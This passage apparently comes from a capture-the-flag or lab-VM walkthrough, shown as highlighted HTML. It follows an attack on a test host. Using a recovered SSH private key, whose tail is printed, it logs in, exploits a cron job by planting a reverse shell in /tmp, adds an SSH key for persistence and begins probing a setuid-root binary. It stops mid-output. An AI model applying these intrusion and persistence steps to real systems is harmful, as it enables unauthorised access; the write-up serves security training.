<span class="s">XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR</span>
<span class="s">2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43</span>
<span class="s">rlJ7dOFH7OFQbGp51ub88M1VOiXR6/fU8OMOkXfi1KkETj/xp6t+</span>
<span class="gh">-----END RSA PRIVATE KEY-----</span>
</code></pre></div>
<p>This looks like an ssh private key. We extract the associated public key:</p>
<div class="highlight"><pre><span></span><code>openssl rsa -in .ssh/id_rsa -pubout -out key.pub
</code></pre></div>
<p>And we convert it to ssh format:</p>
<div class="highlight"><pre><span></span><code>ssh-keygen -f key.pub -i -mPKCS8
</code></pre></div>
<p>The we can copy the private key to <code>~/.ssh/id_rsa</code> and the public key to <code>~/.ssh/id_rsa.pub</code></p>
<p>But we have no idea of the associated user. We try the one listed on the site main page:</p>
<ul>
<li>Martin N => martin, martinn, nmartin</li>
<li>Hadi M => hadi, hadim, mhadi</li>
<li>Jimmy S => jimmy, jymmys, sjimmy</li>
</ul>
<p>And we got a shell with the first one: martin. The server is asking us for a password, but we already got a shell. Entering anything will give use the focus and <code>CTRL-C</code> it will give us a simple error message.</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="err">@</span><span class="n">kalili</span><span class="p">:</span><span class="o">~</span><span class="c1"># ssh 10.0.2.5 -i .ssh/id_rsa -lmartin</span>
<span class="n">The</span><span class="w"> </span><span class="n">programs</span><span class="w"> </span><span class="n">included</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">Debian</span><span class="w"> </span><span class="n">GNU</span><span class="o">/</span><span class="n">Linux</span><span class="w"> </span><span class="n">system</span><span class="w"> </span><span class="n">are</span><span class="w"> </span><span class="n">free</span><span class="w"> </span><span class="n">software</span><span class="p">;</span>
<span class="n">the</span><span class="w"> </span><span class="n">exact</span><span class="w"> </span><span class="n">distribution</span><span class="w"> </span><span class="n">terms</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">each</span><span class="w"> </span><span class="n">program</span><span class="w"> </span><span class="n">are</span><span class="w"> </span><span class="n">described</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">the</span>
<span class="n">individual</span><span class="w"> </span><span class="n">files</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">share</span><span class="o">/</span><span class="n">doc</span><span class="o">/*/</span><span class="n">copyright</span><span class="o">.</span>
<span class="n">Debian</span><span class="w"> </span><span class="n">GNU</span><span class="o">/</span><span class="n">Linux</span><span class="w"> </span><span class="n">comes</span><span class="w"> </span><span class="n">with</span><span class="w"> </span><span class="n">ABSOLUTELY</span><span class="w"> </span><span class="n">NO</span><span class="w"> </span><span class="n">WARRANTY</span><span class="p">,</span><span class="w"> </span><span class="n">to</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="n">extent</span>
<span class="n">permitted</span><span class="w"> </span><span class="n">by</span><span class="w"> </span><span class="n">applicable</span><span class="w"> </span><span class="n">law</span><span class="o">.</span>
<span class="n">Last</span><span class="w"> </span><span class="n">login</span><span class="p">:</span><span class="w"> </span><span class="n">Tue</span><span class="w"> </span><span class="n">Nov</span><span class="w"> </span><span class="mi">14</span><span class="w"> </span><span class="mi">15</span><span class="p">:</span><span class="mi">57</span><span class="p">:</span><span class="mi">00</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="n">from</span><span class="w"> </span><span class="mf">10.0</span><span class="o">.</span><span class="mf">2.15</span>
<span class="n">READY</span><span class="w"> </span><span class="n">TO</span><span class="w"> </span><span class="n">ACCESS</span><span class="w"> </span><span class="n">THE</span><span class="w"> </span><span class="n">SECRET</span><span class="w"> </span><span class="n">LAB</span><span class="w"> </span><span class="err">?</span>
<span class="n">secret</span><span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="p">:</span><span class="w"> </span><span class="o">^</span><span class="n">CTraceback</span><span class="w"> </span><span class="p">(</span><span class="n">most</span><span class="w"> </span><span class="n">recent</span><span class="w"> </span><span class="n">call</span><span class="w"> </span><span class="n">last</span><span class="p">):</span>
<span class="w"> </span><span class="n">File</span><span class="w"> </span><span class="s2">"/var/tmp/login.py"</span><span class="p">,</span><span class="w"> </span><span class="n">line</span><span class="w"> </span><span class="mi">8</span><span class="p">,</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="o"><</span><span class="n">module</span><span class="o">></span>
<span class="w"> </span><span class="n">password</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">raw_input</span><span class="p">(</span><span class="s2">"secret password : "</span><span class="p">)</span>
<span class="n">KeyboardInterrupt</span>
</code></pre></div>
<p>The program doesn't seems to work as intended:</p>
<div class="highlight"><pre><span></span><code><span class="n">martin</span><span class="nd">@debian</span><span class="p">:</span><span class="o">~</span><span class="err">$</span> <span class="n">cat</span> <span class="o">/</span><span class="n">var</span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">login</span><span class="o">.</span><span class="n">py</span>
<span class="c1">#!/usr/bin/python</span>
<span class="kn">import</span> <span class="nn">os</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">""</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"READY TO ACCESS THE SECRET LAB ? "</span><span class="p">)</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">""</span><span class="p">)</span>
<span class="n">password</span> <span class="o">=</span> <span class="n">raw_input</span><span class="p">(</span><span class="s2">"secret password : "</span><span class="p">)</span>
<span class="k">if</span> <span class="p">(</span><span class="n">password</span><span class="p">)</span> <span class="o">==</span> <span class="s2">"secretsec"</span> <span class="ow">or</span> <span class="s2">"secretlab"</span> <span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"WELCOME ! "</span><span class="p">)</span>
<span class="k">else</span><span class="p">:</span>
<span class="nb">print</span><span class="p">(</span><span class="s2">"GET OUT ! "</span><span class="p">)</span>
<span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">"pkill -u 'martin'"</span><span class="p">)</span>
</code></pre></div>
<h2>Privilege elevation</h2>
<p>As always a bit of reconnaissance is needed.</p>
<div class="highlight"><pre><span></span><code><span class="n">martin</span><span class="nv">@debian</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">alRh</span><span class="w"> </span><span class="o">/</span><span class="n">home</span><span class="o">/</span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="err">:</span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
<span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="nl">hadi</span><span class="p">:</span>
<span class="n">total</span><span class="w"> </span><span class="mi">60</span><span class="n">K</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="mi">0</span><span class="n">K</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="mi">13</span><span class="err">:</span><span class="mi">40</span><span class="w"> </span><span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="mi">0</span><span class="n">K</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="mi">20</span><span class="err">:</span><span class="mi">17</span><span class="w"> </span><span class="p">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="mi">220</span><span class="w"> </span><span class="n">avril</span><span class="w"> </span><span class="mi">26</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="p">.</span><span class="n">bash_logout</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="mi">3</span><span class="p">,</span><span class="mi">5</span><span class="n">K</span><span class="w"> </span><span class="n">avril</span><span class="w"> </span><span class="mi">26</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="p">.</span><span class="n">bashrc</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span><span class="mi">3</span><span class="n">K</span><span class="w"> </span><span class="n">mai</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="n">buff</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">1</span><span class="p">,</span><span class="mi">1</span><span class="n">K</span><span class="w"> </span><span class="n">mai</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="n">buff</span><span class="p">.</span><span class="n">c</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">148</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="mi">13</span><span class="err">:</span><span class="mi">25</span><span class="w"> </span><span class="n">example</span><span class="p">.</span><span class="n">c</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-------</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">2</span><span class="p">,</span><span class="mi">1</span><span class="n">K</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="mi">13</span><span class="err">:</span><span class="mi">40</span><span class="w"> </span><span class="p">.</span><span class="n">gdb_history</span>
<span class="o">-</span><span class="n">rwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span><span class="mi">9</span><span class="n">K</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="mi">13</span><span class="err">:</span><span class="mi">38</span><span class="w"> </span><span class="n">overflow</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">19</span><span class="w"> </span><span class="n">mai</span><span class="w"> </span><span class="mi">10</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="n">peda</span><span class="o">-</span><span class="k">session</span><span class="o">-</span><span class="n">buff</span><span class="p">.</span><span class="n">txt</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="mi">13</span><span class="err">:</span><span class="mi">40</span><span class="w"> </span><span class="n">peda</span><span class="o">-</span><span class="k">session</span><span class="o">-</span><span class="n">overflow</span><span class="p">.</span><span class="n">txt</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="mi">675</span><span class="w"> </span><span class="n">avril</span><span class="w"> </span><span class="mi">26</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="p">.</span><span class="n">profile</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="n">hadi</span><span class="w"> </span><span class="mi">4</span><span class="p">,</span><span class="mi">0</span><span class="n">K</span><span class="w"> </span><span class="n">mai</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="mi">2017</span><span class="w"> </span><span class="p">.</span><span class="n">ssh</span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
</code></pre></div>
<p>Okay we got a program <code>buff</code> owned by root and and file <code>buff.c</code> readable by anybody but there is no suid, so no need to bother here.
<code>martin@debian:/home/hadi$ ls -laRh /etc/cron.d</code> doesn't get us something useful but <code>cat /etc/crontab</code> seems usable:</p>
<div class="highlight"><pre><span></span><code><span class="n">martin</span><span class="nv">@debian</span><span class="err">:</span><span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">hadi</span><span class="err">$</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">crontab</span><span class="w"> </span>
<span class="o"><</span><span class="n">SNIP</span><span class="o">></span>
<span class="n">SHELL</span><span class="o">=/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span>
<span class="k">PATH</span><span class="o">=/</span><span class="n">usr</span><span class="o">/</span><span class="k">local</span><span class="o">/</span><span class="nl">sbin</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="k">local</span><span class="o">/</span><span class="nl">bin</span><span class="p">:</span><span class="o">/</span><span class="nl">sbin</span><span class="p">:</span><span class="o">/</span><span class="nl">bin</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="nl">sbin</span><span class="p">:</span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">bin</span>
<span class="err">#</span><span class="w"> </span><span class="n">m</span><span class="w"> </span><span class="n">h</span><span class="w"> </span><span class="n">dom</span><span class="w"> </span><span class="n">mon</span><span class="w"> </span><span class="n">dow</span><span class="w"> </span><span class="k">user</span><span class="w"> </span><span class="n">command</span>
<span class="mi">17</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">run</span><span class="o">-</span><span class="n">parts</span><span class="w"> </span><span class="o">--</span><span class="n">report</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">cron</span><span class="p">.</span><span class="n">hourly</span>
<span class="mi">25</span><span class="w"> </span><span class="mi">6</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">anacron</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">run</span><span class="o">-</span><span class="n">parts</span><span class="w"> </span><span class="o">--</span><span class="n">report</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">cron</span><span class="p">.</span><span class="n">daily</span><span class="w"> </span><span class="p">)</span>
<span class="mi">47</span><span class="w"> </span><span class="mi">6</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="mi">7</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">anacron</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">run</span><span class="o">-</span><span class="n">parts</span><span class="w"> </span><span class="o">--</span><span class="n">report</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">cron</span><span class="p">.</span><span class="n">weekly</span><span class="w"> </span><span class="p">)</span>
<span class="mi">52</span><span class="w"> </span><span class="mi">6</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">test</span><span class="w"> </span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="o">/</span><span class="n">usr</span><span class="o">/</span><span class="n">sbin</span><span class="o">/</span><span class="n">anacron</span><span class="w"> </span><span class="o">||</span><span class="w"> </span><span class="p">(</span><span class="w"> </span><span class="n">cd</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="n">run</span><span class="o">-</span><span class="n">parts</span><span class="w"> </span><span class="o">--</span><span class="n">report</span><span class="w"> </span><span class="o">/</span><span class="n">etc</span><span class="o">/</span><span class="n">cron</span><span class="p">.</span><span class="n">monthly</span><span class="w"> </span><span class="p">)</span>
<span class="o">*/</span><span class="mi">5</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="n">python</span><span class="w"> </span><span class="o">/</span><span class="n">tmp</span><span class="o">/</span><span class="n">sekurity</span><span class="p">.</span><span class="n">py</span>
</code></pre></div>
<p>Of course the script launch by jimmy in <code>tmp</code> doesn't exist. We create one with a simple python reverse shell <a href="http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet">pentest monkey</a>:</p>
<div class="highlight"><pre><span></span><code>root@kalili:~# nc -l -p 1234
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1002(jimmy) gid=1002(jimmy) groupes=1002(jimmy)
</code></pre></div>
<p>We add our ssh key to be able to connect with ssh:</p>
<div class="highlight"><pre><span></span><code><span class="nv">$</span><span class="w"> </span><span class="nv">cd</span><span class="w"> </span><span class="sr">/home/</span><span class="n">jimmy</span>
<span class="nv">$</span><span class="w"> </span><span class="nv">mkdir</span><span class="w"> </span><span class="o">.</span><span class="n">ssh</span>
<span class="nv">$</span><span class="w"> </span><span class="nv">cat</span><span class="w"> </span><span class="sr">/home/m</span><span class="n">artin</span><span class="sr">/.ssh/</span><span class="n">authorized_keys</span><span class="w"> </span><span class="o">></span><span class="w"> </span><span class="o">.</span><span class="n">ssh</span><span class="o">/</span><span class="n">authorized_keys</span>
</code></pre></div>
<p>There is binary <code>networker</code> owned by root with an suid in our home directory (well jimmy's):</p>
<div class="highlight"><pre><span></span><code><span class="n">jimmy</span><span class="nv">@debian</span><span class="err">:</span><span class="o">~</span><span class="err">$</span><span class="w"> </span><span class="n">ls</span><span class="w"> </span><span class="o">-</span><span class="n">al</span>
<span class="n">total</span><span class="w"> </span><span class="mi">36</span>
<span class="n">drwx</span><span class="o">------</span><span class="w"> </span><span class="mi">3</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="mi">4096</span><span class="w"> </span><span class="n">nov</span><span class="p">.</span><span class="w"> </span><span class="mi">17</span><span class="w"> </span><span class="mi">10</span><span class="err">:</span><span class="mi">30</span><span class="w"> </span><span class="p">.</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">5</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">4096</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="mi">20</span><span class="err">:</span><span class="mi">17</span><span class="w"> </span><span class="p">..</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">16</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="mi">20</span><span class="err">:</span><span class="mi">40</span><span class="w"> </span><span class="p">.</span><span class="n">bash_history</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="mi">220</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="mi">21</span><span class="err">:</span><span class="mi">07</span><span class="w"> </span><span class="p">.</span><span class="n">bash_logout</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="mi">3515</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="mi">21</span><span class="err">:</span><span class="mi">07</span><span class="w"> </span><span class="p">.</span><span class="n">bashrc</span>
<span class="o">-</span><span class="n">rwsrwxrwx</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="n">root</span><span class="w"> </span><span class="mi">7496</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">9</span><span class="w"> </span><span class="mi">20</span><span class="err">:</span><span class="mi">00</span><span class="w"> </span><span class="n">networker</span>
<span class="o">-</span><span class="n">rw</span><span class="o">-</span><span class="n">r</span><span class="o">--</span><span class="n">r</span><span class="o">--</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="mi">675</span><span class="w"> </span><span class="n">juin</span><span class="w"> </span><span class="mi">8</span><span class="w"> </span><span class="mi">21</span><span class="err">:</span><span class="mi">07</span><span class="w"> </span><span class="p">.</span><span class="n">profile</span>
<span class="n">drwxr</span><span class="o">-</span><span class="n">xr</span><span class="o">-</span><span class="n">x</span><span class="w"> </span><span class="mi">2</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="n">jimmy</span><span class="w"> </span><span class="mi">4096</span><span class="w"> </span><span class="n">nov</span><span class="p">.</span><span class="w"> </span><span class="mi">17</span><span class="w"> </span><span class="mi">10</span><span class="err">:</span><span class="mi">31</span><span class="w"> </span><span class="p">.</span><span class="n">ssh</span>
</code></pre></div>
<p>It seems to give information about the network configuration, ping localhost and and echo "echo linux tool version 5":</p>
<div class="highlight"><pre><span></span><code><span class="n">jimmy</span><span class="err">@</span><span class="n">debian</span><span class="p">:</span><span class="o">~$</span><span class="w"> </span><span class="o">./</span><span class="n">networker</span><span class="w"> </span>
<span class="o">***</span><span class="w"> </span><span class="n">Networker</span><span class="w"> </span><span class="mf">2.0</span><span class="w"> </span><span class="o">***</span><span class="w"> </span>
<span class="n">eth0</span><span class="w"> </span><span class="n">Link</span><span class="w"> </span><span class="n">encap</span><span class="p">:</span><span class="n">Ethernet</span><span class="w"> </span><span class="n">HWaddr</span><span class="w"> </span><span class="mi">08</span><span class="p">:</span><span class="mi">00</span><span class="p">:</span><span class="mi">27</span><span class="p">:</span><span class="mi">84</span><span class="p">:</span><span class="mi">43</span><span class="p">:</span><span class="n">c4</span><span class="w"> </span>
<span class="w"> </span><span class="n">inet</span><span class="w"> </span><span class="n">adr</span><span class="p">:</span><span class="mf">10.0</span><span class="o">.</span><span class="mf">2.5</span><span class="w"> </span><span class="n">Bcast</span><span class="p">:</span><span class="mf">10.0</span><span class="o">.</span><span class="mf">2.255</span><span class="w"> </span><span class="n">Masque</span><span class="p">:</span><span class="mf">255.255</span><span class="o">.</span><span class="mf">255.0</span>
<span class="w"> </span><span class="n">adr</span><span class="w"> </span><span class="n">inet6</span><span class="p">:</span><span class="w"> </span><span class="n">fe80</span><span class="p">::</span><span class="n">a00</span><span class="p">:</span><span class="mi">27</span><span class="n">ff</span><span class="p">:</span><span class="n">fe84</span><span class="p">:</span><span class="mi">43</span><span class="n">c4</span><span class="o">/</span><span class="mi">64</span><span class="w"> </span><span class="n">Scope</span><span class="p">:</span><span class="n">Lien</span>
<span class="w"> </span><span class="n">UP</span><span class="w"> </span><span class="n">BROADCAST</span><span class="w"> </span><span class="n">RUNNING</span><span class="w"> </span><span class="n">MULTICAST</span><span class="w"> </span><span class="n">MTU</span><span class="p">:</span><span class="mi">1500</span><span class="w"> </span><span class="n">Metric</span><span class="p">:</span><span class="mi">1</span>
<span class="w"> </span><span class="n">RX</span><span class="w"> </span><span class="n">packets</span><span class="p">:</span><span class="mi">3934</span><span class="w"> </span><span class="n">errors</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">dropped</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">overruns</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">frame</span><span class="p">:</span><span class="mi">0</span>
<span class="w"> </span><span class="n">TX</span><span class="w"> </span><span class="n">packets</span><span class="p">:</span><span class="mi">2705</span><span class="w"> </span><span class="n">errors</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">dropped</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">overruns</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">carrier</span><span class="p">:</span><span class="mi">0</span>
<span class="w"> </span><span class="n">collisions</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">lg</span><span class="w"> </span><span class="n">file</span><span class="w"> </span><span class="n">transmission</span><span class="p">:</span><span class="mi">1000</span><span class="w"> </span>
<span class="w"> </span><span class="n">RX</span><span class="w"> </span><span class="n">bytes</span><span class="p">:</span><span class="mi">331724</span><span class="w"> </span><span class="p">(</span><span class="mf">323.9</span><span class="w"> </span><span class="n">KiB</span><span class="p">)</span><span class="w"> </span><span class="n">TX</span><span class="w"> </span><span class="n">bytes</span><span class="p">:</span><span class="mi">398743</span><span class="w"> </span><span class="p">(</span><span class="mf">389.3</span><span class="w"> </span><span class="n">KiB</span><span class="p">)</span>
<span class="w"> </span><span class="n">Interruption</span><span class="p">:</span><span class="mi">9</span><span class="w"> </span><span class="n">Adresse</span><span class="w"> </span><span class="n">de</span><span class="w"> </span><span class="n">base</span><span class="p">:</span><span class="mh">0xd020</span>
<span class="n">lo</span><span class="w"> </span><span class="n">Link</span><span class="w"> </span><span class="n">encap</span><span class="p">:</span><span class="n">Boucle</span><span class="w"> </span><span class="n">locale</span><span class="w"> </span>
<span class="w"> </span><span class="n">inet</span><span class="w"> </span><span class="n">adr</span><span class="p">:</span><span class="mf">127.0</span><span class="o">.</span><span class="mf">0.1</span><span class="w"> </span><span class="n">Masque</span><span class="p">:</span><span class="mf">255.0</span><span class="o">.</span><span class="mf">0.0</span>
<span class="w"> </span><span class="n">adr</span><span class="w"> </span><span class="n">inet6</span><span class="p">:</span><span class="w"> </span><span class="p">::</span><span class="mi">1</span><span class="o">/</span><span class="mi">128</span><span class="w"> </span><span class="n">Scope</span><span class="p">:</span><span class="n">Hôte</span>
<span class="w"> </span><span class="n">UP</span><span class="w"> </span><span class="n">LOOPBACK</span><span class="w"> </span><span class="n">RUNNING</span><span class="w"> </span><span class="n">MTU</span><span class="p">:</span><span class="mi">65536</span><span class="w"> </span><span class="n">Metric</span><span class="p">:</span><span class="mi">1</span>
<span class="w"> </span><span class="n">RX</span><span class="w"> </span><span class="n">packets</span><span class="p">:</span><span class="mi">6</span><span class="w"> </span><span class="n">errors</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">dropped</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">overruns</span><span class="p">:</span><span class="mi">0</span><span class="w"> </span><span class="n">frame</span><span class="p">:</span><span class="mi">0</span>
